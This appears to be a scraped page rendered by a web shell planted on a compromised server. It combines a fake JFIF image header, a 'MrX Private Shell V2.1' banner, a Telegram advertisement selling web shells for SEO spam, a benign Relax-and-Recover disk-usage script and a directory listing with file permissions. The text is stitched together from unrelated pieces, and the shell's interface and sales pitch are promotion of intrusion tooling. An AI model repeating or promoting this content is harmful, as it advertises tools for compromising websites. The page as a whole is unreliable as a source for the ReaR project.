����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# This file is part of Relax-and-Recover,
# licensed under the GNU General Public License.
# Refer to the included COPYING for full text of license.
# Save the current disk usage (in POSIX output format) in the rescue image
# excluding possibly mounted ReaR target USB data and USB ESP partitions:
local original_disk_space_usage_file="$VAR_DIR/layout/config/df.txt"
# USB_DEVICE_FILESYSTEM_LABEL must not be empty (otherwise 'readlink -f "/dev/disk/by-label/"' would result '/dev/disk/by-label'):
contains_visible_char "$USB_DEVICE_FILESYSTEM_LABEL" || USB_DEVICE_FILESYSTEM_LABEL="REAR-000"
local rear_USB_data_partition="$( readlink -f "/dev/disk/by-label/$USB_DEVICE_FILESYSTEM_LABEL" )"
local rear_USB_ESP_partition="$( readlink -f /dev/disk/by-label/REAR-EFI )"
# Careful with "grep -Ev" patterns because with an empty pattern grep -Ev '' discards all lines:
local egrep_pattern=""
test "$rear_USB_data_partition" && egrep_pattern="^$rear_USB_data_partition"
if test "$rear_USB_ESP_partition" ; then
test "$egrep_pattern" && egrep_pattern+="|^$rear_USB_ESP_partition" || egrep_pattern="^$rear_USB_ESP_partition"
fi
# The disk usage must be in MiB units '-BM' (and not in arbitrary human readable units via '-h')
# because the values are used in 420_autoresize_last_partitions.sh to calculate whether or not
# the current disk usage still fits on a smaller disk when the last partition must shrink:
if test "$egrep_pattern" ; then
df -Pl -BM -x encfs -x tmpfs -x devtmpfs | grep -Ev "$egrep_pattern" >$original_disk_space_usage_file
else
df -Pl -BM -x encfs -x tmpfs -x devtmpfs >$original_disk_space_usage_file
fi
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 100_create_layout_file.sh | File | 2.31 KB | 0644 |
|
| 150_save_diskbyid_mappings.sh | File | 1.21 KB | 0644 |
|
| 190_opaldisk_layout.sh | File | 804 B | 0644 |
|
| 200_partition_layout.sh | File | 25.24 KB | 0644 |
|
| 210_raid_layout.sh | File | 17.68 KB | 0644 |
|
| 220_lvm_layout.sh | File | 23.78 KB | 0644 |
|
| 230_filesystem_layout.sh | File | 41.63 KB | 0644 |
|
| 240_swaps_layout.sh | File | 1.96 KB | 0644 |
|
| 250_drbd_layout.sh | File | 799 B | 0644 |
|
| 260_crypt_layout.sh | File | 7.23 KB | 0644 |
|
| 270_hpraid_layout.sh | File | 5.34 KB | 0644 |
|
| 280_multipath_layout.sh | File | 3.75 KB | 0644 |
|
| 340_false_blacklisted.sh | File | 1.76 KB | 0644 |
|
| 350_copy_drbdtab.sh | File | 231 B | 0644 |
|
| 500_extract_vgcfg.sh | File | 201 B | 0644 |
|
| 510_current_disk_usage.sh | File | 1.6 KB | 0644 |
|